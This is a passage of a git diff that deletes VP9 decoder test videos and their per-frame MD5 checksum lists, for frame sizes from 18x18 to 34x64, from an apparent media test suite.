index 9600c40e..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_18x18_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-83790b0e7004d8d89b7134ee1a88d885  vp90-2-02-size-18x18-18x18-0001.i420
-0baf0bf556ae56d2f4b04567e6ac7ed9  vp90-2-02-size-18x18-18x18-0002.i420
-c648854a4d49f7e407a2450cf4ba292a  vp90-2-02-size-18x18-18x18-0003.i420
-510c3aca23339841ffc72ed5c75d184e  vp90-2-02-size-18x18-18x18-0004.i420
-1c1f3116ec4d4ee1ad790652e49233ad  vp90-2-02-size-18x18-18x18-0005.i420
-f94891f4e16fd32d638a2c696f5922e6  vp90-2-02-size-18x18-18x18-0006.i420
-e164814c22e38cbe45312dfd48d987fc  vp90-2-02-size-18x18-18x18-0007.i420
-f582515fcc6c4308ad931d2f6cf371a0  vp90-2-02-size-18x18-18x18-0008.i420
-0a446974bd227ee34a1621a2b7852abb  vp90-2-02-size-18x18-18x18-0009.i420
-beca28bdae8d1fe20036b3646f3109cd  vp90-2-02-size-18x18-18x18-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_18x32.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_18x32.vp9
deleted file mode 100644
index f288c06..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_18x32.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_18x32_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_18x32_vp9_md5
deleted file mode 100644
index 697fa7d..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_18x32_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-62eabc8819ded6ddba2c3a5029497cf0  vp90-2-02-size-18x32-18x32-0001.i420
-b760182fddf8bc05f149e80bbcb2c281  vp90-2-02-size-18x32-18x32-0002.i420
-0c44be0472ebd2653ce9fb174c6180ab  vp90-2-02-size-18x32-18x32-0003.i420
-bbb033c3bfeeb6f59cb43013597b9d92  vp90-2-02-size-18x32-18x32-0004.i420
-a769975cdbc6529525f7cac8a0d9299a  vp90-2-02-size-18x32-18x32-0005.i420
-15b02059bbced62f19c0626efea1ecb9  vp90-2-02-size-18x32-18x32-0006.i420
-47f4b50322ed31649bdcfffb05c70fa2  vp90-2-02-size-18x32-18x32-0007.i420
-8649cdd0a958047839f5b6e7bbf6f288  vp90-2-02-size-18x32-18x32-0008.i420
-2c766e3fd3882a9a5aff52ffe9d1d341  vp90-2-02-size-18x32-18x32-0009.i420
-184a62b7332a1c24acbf03f670fb7ac1  vp90-2-02-size-18x32-18x32-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_18x34.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_18x34.vp9
deleted file mode 100644
index 6b8c0724..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_18x34.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_18x34_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_18x34_vp9_md5
deleted file mode 100644
index 2b9926c..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_18x34_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-612cc424eaae924cb25c7732c422f752  vp90-2-02-size-18x34-18x34-0001.i420
-010e8c2a814862529fcf8d7771ba2d7f  vp90-2-02-size-18x34-18x34-0002.i420
-7d791b7a5916738998f77586339d5840  vp90-2-02-size-18x34-18x34-0003.i420
-aeada5f59f3dda9ab3e898f305428cb2  vp90-2-02-size-18x34-18x34-0004.i420
-06af894d38a1f0d3665c0081f5397ddf  vp90-2-02-size-18x34-18x34-0005.i420
-24bf31323c568e652550e9d35de9c96c  vp90-2-02-size-18x34-18x34-0006.i420
-a9681ec47d3e6a19321b9ea47221dc3f  vp90-2-02-size-18x34-18x34-0007.i420
-73ae7268df79c4012952bd3e8011e894  vp90-2-02-size-18x34-18x34-0008.i420
-67aa4145398ca17036959251cb4ce17b  vp90-2-02-size-18x34-18x34-0009.i420
-de247b80114c722da849f5aa23adbb38  vp90-2-02-size-18x34-18x34-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_18x64.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_18x64.vp9
deleted file mode 100644
index da13d78..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_18x64.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_18x64_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_18x64_vp9_md5
deleted file mode 100644
index 0fbd0c0..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_18x64_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-72c74de547d9ed1b17bc962dbd5e0bb1  vp90-2-02-size-18x64-18x64-0001.i420
-462849f9e2204738e9f08b40e682a6ae  vp90-2-02-size-18x64-18x64-0002.i420
-f0ee17692fd816747b11d5737b511cda  vp90-2-02-size-18x64-18x64-0003.i420
-0234d23406660ede76dd22b35a708390  vp90-2-02-size-18x64-18x64-0004.i420
-6544fdb9dc225d155820d3c7dfc909eb  vp90-2-02-size-18x64-18x64-0005.i420
-1c073544794389596177512fb4dcffce  vp90-2-02-size-18x64-18x64-0006.i420
-864709daac7b091d33afa2210c145084  vp90-2-02-size-18x64-18x64-0007.i420
-b049c4ac941743613ede9a41b16acde5  vp90-2-02-size-18x64-18x64-0008.i420
-ad0c4adb0efec03729a79f42eec66267  vp90-2-02-size-18x64-18x64-0009.i420
-146057d941f5a47eb8b2c9eefeaf3100  vp90-2-02-size-18x64-18x64-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_18x66.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_18x66.vp9
deleted file mode 100644
index b1ffba7..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_18x66.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_18x66_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_18x66_vp9_md5
deleted file mode 100644
index 46a7a3d..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_18x66_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-c3fc4a1593b9cc2f3752106af8539386  vp90-2-02-size-18x66-18x66-0001.i420
-7f2ffe6bc1750f6749bb5ad12cbaf34b  vp90-2-02-size-18x66-18x66-0002.i420
-2539b10a981d59ef54efd77cd7276aaa  vp90-2-02-size-18x66-18x66-0003.i420
-0bff22b4dfb7485fbedd6ff5b99673d1  vp90-2-02-size-18x66-18x66-0004.i420
-6a2b38f4abee785260a61bc60f16e7fa  vp90-2-02-size-18x66-18x66-0005.i420
-2fbb69b5519b51548bf1ee425ff79c55  vp90-2-02-size-18x66-18x66-0006.i420
-dbd267028be2256111b2411b91fcc117  vp90-2-02-size-18x66-18x66-0007.i420
-12b2f1003633c9e19cae3d0fda06102d  vp90-2-02-size-18x66-18x66-0008.i420
-d419a756c492867523af5185fd57d989  vp90-2-02-size-18x66-18x66-0009.i420
-8a7d36760bf5db32baef349b97316b47  vp90-2-02-size-18x66-18x66-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_32x08.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_32x08.vp9
deleted file mode 100644
index 97e741c..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_32x08.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_32x08_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_32x08_vp9_md5
deleted file mode 100644
index b744f57..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_32x08_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-c7b30cde5664387b0f7a80d9b01e4fe2  vp90-2-02-size-32x08-32x8-0001.i420
-2228a2a4e54ab5145525e5803c314dcd  vp90-2-02-size-32x08-32x8-0002.i420
-8c048469eba24f3163c36b7461b3b42a  vp90-2-02-size-32x08-32x8-0003.i420
-f6b8e8e701dea09dcf1158e9a52921c6  vp90-2-02-size-32x08-32x8-0004.i420
-b3a5fde0daf2eef8fc08521f88f79692  vp90-2-02-size-32x08-32x8-0005.i420
-653ae11cc1380ae7f39b2e007f896d81  vp90-2-02-size-32x08-32x8-0006.i420
-6e66fe002a7dff95e13cc9d3d13d9686  vp90-2-02-size-32x08-32x8-0007.i420
-13308c917a1e22c2f702afc32b8a23c2  vp90-2-02-size-32x08-32x8-0008.i420
-4fee1e63f9452dc3f81c1d634bd7f41d  vp90-2-02-size-32x08-32x8-0009.i420
-666b43ead5c7c99ae5b7637da5aa4d62  vp90-2-02-size-32x08-32x8-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_32x10.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_32x10.vp9
deleted file mode 100644
index acfa19b..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_32x10.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_32x10_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_32x10_vp9_md5
deleted file mode 100644
index cb40846..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_32x10_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-7c5b5df373ebfd31d210ff910e02213b  vp90-2-02-size-32x10-32x10-0001.i420
-c5b0a5e3eceb792b15818324a43aa2a8  vp90-2-02-size-32x10-32x10-0002.i420
-1d9c0eafd4638dfe4fe308174fde2faf  vp90-2-02-size-32x10-32x10-0003.i420
-47301d12055944b35008028761cf5e7b  vp90-2-02-size-32x10-32x10-0004.i420
-9586ac1087423dcd3b0ff96d43ae475e  vp90-2-02-size-32x10-32x10-0005.i420
-26bfe1afea96c7ef2084fffd1fa99a33  vp90-2-02-size-32x10-32x10-0006.i420
-0995c8a1935266159a7ef3f95d7f4697  vp90-2-02-size-32x10-32x10-0007.i420
-8cfcc0ea67507ab7f3551d8ac50f93a5  vp90-2-02-size-32x10-32x10-0008.i420
-658cf3cb887b055d9de7d50db4eb78a9  vp90-2-02-size-32x10-32x10-0009.i420
-856bd5189688f7ccfe9995752bc0f1f6  vp90-2-02-size-32x10-32x10-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_32x16.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_32x16.vp9
deleted file mode 100644
index dec3c01..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_32x16.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_32x16_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_32x16_vp9_md5
deleted file mode 100644
index 7609114..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_32x16_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-7c2818db2632e5c5beee17e7105d9209  vp90-2-02-size-32x16-32x16-0001.i420
-cead72bd22995e98b54a91c7b4a20975  vp90-2-02-size-32x16-32x16-0002.i420
-eb6baee5d65d778052c88ba5db2f9174  vp90-2-02-size-32x16-32x16-0003.i420
-1f5f38e89e985e9e4172446de05e91fd  vp90-2-02-size-32x16-32x16-0004.i420
-57b57ffcb03627942fc5868324a10feb  vp90-2-02-size-32x16-32x16-0005.i420
-4b4066a452d8e9cd687cd611f5d9cb88  vp90-2-02-size-32x16-32x16-0006.i420
-113e5069b2a4d2c2e802b72649eb435d  vp90-2-02-size-32x16-32x16-0007.i420
-e176bb233f76f9fd4c55d62d53487b60  vp90-2-02-size-32x16-32x16-0008.i420
-f2ff3def712a846ea7b678bd9078e32b  vp90-2-02-size-32x16-32x16-0009.i420
-21007ed1c727c5ccc5955188a2cec276  vp90-2-02-size-32x16-32x16-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_32x18.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_32x18.vp9
deleted file mode 100644
index 2062e61..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_32x18.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_32x18_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_32x18_vp9_md5
deleted file mode 100644
index 4bd047f..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_32x18_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-9da5409d344e7b8380688569e54803a5  vp90-2-02-size-32x18-32x18-0001.i420
-9b51e14e2e624ee2b430e9eaf1a48798  vp90-2-02-size-32x18-32x18-0002.i420
-b8811779f363b9a595e3a92737771ea9  vp90-2-02-size-32x18-32x18-0003.i420
-e5a0c335e5e713a3e77fff0b65127fb9  vp90-2-02-size-32x18-32x18-0004.i420
-1bffa3283b463a356794c8f7a73f8c54  vp90-2-02-size-32x18-32x18-0005.i420
-97c13270621a583eb9e13c05f9d792f0  vp90-2-02-size-32x18-32x18-0006.i420
-a6f81a4dde1ffc352ebe9d8ab8782f35  vp90-2-02-size-32x18-32x18-0007.i420
-91a955a86ce9378ff3442794ce0934c6  vp90-2-02-size-32x18-32x18-0008.i420
-2e4f8938e9c88b328a258a0b99366ea6  vp90-2-02-size-32x18-32x18-0009.i420
-adbbbc192cf36e1fc7c308824765d482  vp90-2-02-size-32x18-32x18-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_32x32.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_32x32.vp9
deleted file mode 100644
index fbfa4ab..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_32x32.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_32x32_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_32x32_vp9_md5
deleted file mode 100644
index 4e5b3c4..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_32x32_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-117915db1856cee26f05a609c8c8de2e  vp90-2-02-size-32x32-32x32-0001.i420
-943771a98b26b174e88ed1f4e872e504  vp90-2-02-size-32x32-32x32-0002.i420
-3e0d2585e1f1cb540998d107aca5c395  vp90-2-02-size-32x32-32x32-0003.i420
-e64a9e1e0232983a69ab48453025b23d  vp90-2-02-size-32x32-32x32-0004.i420
-2c6ef6637fb7b9425f7d7ea28cd84087  vp90-2-02-size-32x32-32x32-0005.i420
-419a5a31a43955d408c13ee8a5ddce9c  vp90-2-02-size-32x32-32x32-0006.i420
-2ab13e1c236553d42d59498ca350b190  vp90-2-02-size-32x32-32x32-0007.i420
-b8068beb037f3232d4da38fe33a8a885  vp90-2-02-size-32x32-32x32-0008.i420
-160df68b9e3f75e9b1f8ed7cce327bc2  vp90-2-02-size-32x32-32x32-0009.i420
-1ccafa8c7babdce0983aeb20d298b0ee  vp90-2-02-size-32x32-32x32-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_32x34.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_32x34.vp9
deleted file mode 100644
index 7ea9965..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_32x34.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_32x34_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_32x34_vp9_md5
deleted file mode 100644
index 28b1e11..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_32x34_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-770582911fd0095ebbeae384e87665ac  vp90-2-02-size-32x34-32x34-0001.i420
-f99d7e3131f04413cba2f9de6818976d  vp90-2-02-size-32x34-32x34-0002.i420
-3bfbb8c9c48f24cd596973a6deb33a3f  vp90-2-02-size-32x34-32x34-0003.i420
-0b8166afdd357f20c76f77d228bb7171  vp90-2-02-size-32x34-32x34-0004.i420
-3a3d7f2a03e19a82250d6ca0238f9791  vp90-2-02-size-32x34-32x34-0005.i420
-9b558f9b8744b016059f69f3fca90d2c  vp90-2-02-size-32x34-32x34-0006.i420
-c857736342f1145d919cb77732120006  vp90-2-02-size-32x34-32x34-0007.i420
-11dc5dda4c883a3146db060dd50343d0  vp90-2-02-size-32x34-32x34-0008.i420
-7526a62ae87de174be86eac7bb36c7f3  vp90-2-02-size-32x34-32x34-0009.i420
-9ef38f47cfc461710ff0dd75690473c0  vp90-2-02-size-32x34-32x34-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_32x64.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_32x64.vp9
deleted file mode 100644
index 0bc9223..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_32x64.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_32x64_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_32x64_vp9_md5
deleted file mode 100644
index d00ccc6..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_32x64_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-caa8471a8b381d53c3e8fc627946a871  vp90-2-02-size-32x64-32x64-0001.i420
-2cba86ea14c0f28e242625b08f5e9b88  vp90-2-02-size-32x64-32x64-0002.i420
-cea0440ff6569fc82c3030e0340fb649  vp90-2-02-size-32x64-32x64-0003.i420
-c18ef37f1356ade96a2f40af954b31c8  vp90-2-02-size-32x64-32x64-0004.i420
-21e6e549378bcff47913ef292e74dc37  vp90-2-02-size-32x64-32x64-0005.i420
-a9d3d483f74a5afe5d80725ce696fd20  vp90-2-02-size-32x64-32x64-0006.i420
-a436e2586b0963747deaf5e450e2b230  vp90-2-02-size-32x64-32x64-0007.i420
-9daaadf265df56974cb0950843d9fd8c  vp90-2-02-size-32x64-32x64-0008.i420
-e0b84714bad2519e62b7d16705fb09d5  vp90-2-02-size-32x64-32x64-0009.i420
-8cdfce574edbe548da7f6cd9a7076b9e  vp90-2-02-size-32x64-32x64-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_32x66.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_32x66.vp9
deleted file mode 100644
index 9d96d3d..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_32x66.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_32x66_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_32x66_vp9_md5
deleted file mode 100644
index 4a00973..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_32x66_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-920ea4b8a00d41489d122d641d6e4fe5  vp90-2-02-size-32x66-32x66-0001.i420
-8bfc8d452a79f2978b8e973b77cbf8a8  vp90-2-02-size-32x66-32x66-0002.i420
-09f3f0d31d3377a844fa5385d9b36b9f  vp90-2-02-size-32x66-32x66-0003.i420
-df43fae763da9360c8062bb92ee091a8  vp90-2-02-size-32x66-32x66-0004.i420
-445d8c675bb865d1814fcfa6b8a9afd3  vp90-2-02-size-32x66-32x66-0005.i420
-dc7d43db86aac6636724de8790eda555  vp90-2-02-size-32x66-32x66-0006.i420
-d3a9fc272424449ffc5b7e69f8f9948b  vp90-2-02-size-32x66-32x66-0007.i420
-11ef33b9bccca54b3703bf24ab55e2d6  vp90-2-02-size-32x66-32x66-0008.i420
-ce31b8bf9b00b427ca956abb800d8034  vp90-2-02-size-32x66-32x66-0009.i420
-e707f824d6e95d482bf3a0b4d52ea069  vp90-2-02-size-32x66-32x66-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_34x08.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_34x08.vp9
deleted file mode 100644
index 3a1d276..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_34x08.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_34x08_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_34x08_vp9_md5
deleted file mode 100644
index 2940416..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_34x08_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-c14f2ba5b4582c9d3a488976814691b3  vp90-2-02-size-34x08-34x8-0001.i420
-4387a4dce19007b7efb810b5a4069749  vp90-2-02-size-34x08-34x8-0002.i420
-ecfe868d28f4861a5612edfd57447a02  vp90-2-02-size-34x08-34x8-0003.i420
-5cba54f568534d29169ac31c8fa505e0  vp90-2-02-size-34x08-34x8-0004.i420
-fe9aab7b3378b9fc3e373ee626b887db  vp90-2-02-size-34x08-34x8-0005.i420
-fce72dfc7f9c0cb50ff73761b4d82c1f  vp90-2-02-size-34x08-34x8-0006.i420
-d4d98f42b1377e0f0ffaa66aa81d40c3  vp90-2-02-size-34x08-34x8-0007.i420
-65c027646dc95a749ce2d7ad0a6beccc  vp90-2-02-size-34x08-34x8-0008.i420
-317b283a0d907270f671272771022e69  vp90-2-02-size-34x08-34x8-0009.i420
-d3e2c008584608502f3e24c5c5f64028  vp90-2-02-size-34x08-34x8-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_34x10.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_34x10.vp9
deleted file mode 100644
index 336a18a..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_34x10.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_34x10_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_34x10_vp9_md5
deleted file mode 100644
index 9e19ab4..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_34x10_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-fd7212b519783cf4831ce4bff91f2312  vp90-2-02-size-34x10-34x10-0001.i420
-9768722ee939d80a6716865fdebca33d  vp90-2-02-size-34x10-34x10-0002.i420
-328ee0f774eeafde00dcc4b9a8f4e9af  vp90-2-02-size-34x10-34x10-0003.i420
-f882fa6015fcb042094eadab5fa952cf  vp90-2-02-size-34x10-34x10-0004.i420
-4331a3dabeae27d2bf3590eb96ce914a  vp90-2-02-size-34x10-34x10-0005.i420
-0e15106bd8e90377f6ed8b464d17159c  vp90-2-02-size-34x10-34x10-0006.i420
-8f062653ac2b83f7e541393e838d0e0f  vp90-2-02-size-34x10-34x10-0007.i420
-eeb98c1728c1a74510f8bfaf10fc0002  vp90-2-02-size-34x10-34x10-0008.i420
-30bb058a67d6a5ee3693b21cbca5349a  vp90-2-02-size-34x10-34x10-0009.i420
-7ce4b79983b3abc37b141a3bea56e0b7  vp90-2-02-size-34x10-34x10-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_34x16.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_34x16.vp9
deleted file mode 100644
index 41d41f3..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_34x16.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_34x16_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_34x16_vp9_md5
deleted file mode 100644
index 1c01cd4..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_34x16_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-e443c43101be00470c6a61c1a2995b5a  vp90-2-02-size-34x16-34x16-0001.i420
-1e79b1b46ec704d360b5fb725913b0f1  vp90-2-02-size-34x16-34x16-0002.i420
-6d5e77cafab6bc43498980c515d299d3  vp90-2-02-size-34x16-34x16-0003.i420
-91c3bba5fd2aa29ee54c8f3783cfe5a2  vp90-2-02-size-34x16-34x16-0004.i420
-9548d07c2a6204694d34e973e8339077  vp90-2-02-size-34x16-34x16-0005.i420
-6819a34c7e3c13bee3ea2b18e12e92fd  vp90-2-02-size-34x16-34x16-0006.i420
-f75920457f01f65bf30ba1ec41076d4e  vp90-2-02-size-34x16-34x16-0007.i420
-3a04f6cc0c348c21464b173ac6005043  vp90-2-02-size-34x16-34x16-0008.i420
-93a3336374e8cc4dfb2c0b4716ab60ec  vp90-2-02-size-34x16-34x16-0009.i420
-148af188b8a2ee93de406a01c2af180d  vp90-2-02-size-34x16-34x16-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_34x18.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_34x18.vp9
deleted file mode 100644
index 9c2f4ea..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_34x18.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_34x18_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_34x18_vp9_md5
deleted file mode 100644
index 74ee172..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_34x18_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-ab7eabb355e5163e7451945018fadebd  vp90-2-02-size-34x18-34x18-0001.i420
-b9a77cc0c769535808996a6de7b374ff  vp90-2-02-size-34x18-34x18-0002.i420
-bd773f11d89091b3c9ebc22d8291dd49  vp90-2-02-size-34x18-34x18-0003.i420
-278c215d6c188752818f07f4d317c0e0  vp90-2-02-size-34x18-34x18-0004.i420
-b59856932c675c1ba587644c23cdb002  vp90-2-02-size-34x18-34x18-0005.i420
-2bcaef04f89326a56025269a68742043  vp90-2-02-size-34x18-34x18-0006.i420
-5abb4a1b96b4bc003cd19a146347c54e  vp90-2-02-size-34x18-34x18-0007.i420
-26e36058f451ff80d498ac1c0343489f  vp90-2-02-size-34x18-34x18-0008.i420
-57ac43fcc6f1a2c863188aca68d52524  vp90-2-02-size-34x18-34x18-0009.i420
-282467118b5b7a986ccd28d16dab3ea7  vp90-2-02-size-34x18-34x18-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_34x32.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_34x32.vp9
deleted file mode 100644
index 2c020b4..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_34x32.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_34x32_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_34x32_vp9_md5
deleted file mode 100644
index fb6d77d..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_34x32_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-7e334867e27046fabf0f39365311c38c  vp90-2-02-size-34x32-34x32-0001.i420
-d2a49216ecedea62f546e54c1552f163  vp90-2-02-size-34x32-34x32-0002.i420
-f66e10d1779533e5b6e2b98369134833  vp90-2-02-size-34x32-34x32-0003.i420
-0054b8d4393df58eee87784862a29901  vp90-2-02-size-34x32-34x32-0004.i420
-b9cdf3ebea0d1e3f1e0c42db2e11a3c2  vp90-2-02-size-34x32-34x32-0005.i420
-c08a728d955a559457c82e44c3296148  vp90-2-02-size-34x32-34x32-0006.i420
-d05f4c4a8b0e606525c3d388d26a9351  vp90-2-02-size-34x32-34x32-0007.i420
-78fc2544da88a1a21d6626b0f7bbcf8c  vp90-2-02-size-34x32-34x32-0008.i420
-90832c4fed05390377551359bb9a91f7  vp90-2-02-size-34x32-34x32-0009.i420
-5290a0e77081863398f36c7ae192710b  vp90-2-02-size-34x32-34x32-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_34x34.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_34x34.vp9
deleted file mode 100644
index bcc9c17..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_34x34.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_34x34_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_34x34_vp9_md5
deleted file mode 100644
index 36d92f5..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_34x34_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-1bb98ba89abf6b86f47a851f8126e1ff  vp90-2-02-size-34x34-34x34-0001.i420
-b960cc795c179afe7eec360c57fddd7f  vp90-2-02-size-34x34-34x34-0002.i420
-a93cd094a80c542ecb7b6ac7720c5eff  vp90-2-02-size-34x34-34x34-0003.i420
-f1cd34e4f0bf9b1238769f028708b742  vp90-2-02-size-34x34-34x34-0004.i420
-f01437ad14450d2136a8fc971f180eb7  vp90-2-02-size-34x34-34x34-0005.i420
-8778230f1182c2227bf1e253bd85df4c  vp90-2-02-size-34x34-34x34-0006.i420
-1d1d5cf6c5cc9e73a1fa5b882e441d74  vp90-2-02-size-34x34-34x34-0007.i420
-2f7a1867487c56c252e35225f71adb55  vp90-2-02-size-34x34-34x34-0008.i420
-1d1aea21f70ceed596f22ec32d8712ee  vp90-2-02-size-34x34-34x34-0009.i420
-260e66df92f32bc853f4cd4ede692ea4  vp90-2-02-size-34x34-34x34-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_34x64.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_34x64.vp9
deleted file mode 100644
index daa63a3..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_34x64.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_34x64_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_34x64_vp9_md5
deleted file mode 100644
index 6a6795e..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_34x64_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-3856635223f578e1e7f7e7250a53cb8d  vp90-2-02-size-34x64-34x64-0001.i420
-ee8d7c3a0ea165420d7e733b9e59219a  vp90-2-02-size-34x64-34x64-0002.i420
-3d33f06bac22131f04e3411fc216dc02  vp90-2-02-size-34x64-34x64-0003.i420
-7aea667775077de32250dac25fd24bb3  vp90-2-02-size-34x64-34x64-0004.i420
-43fb534551f153c5e9e60240df0bf3b4  vp90-2-02-size-34x64-34x64-0005.i420
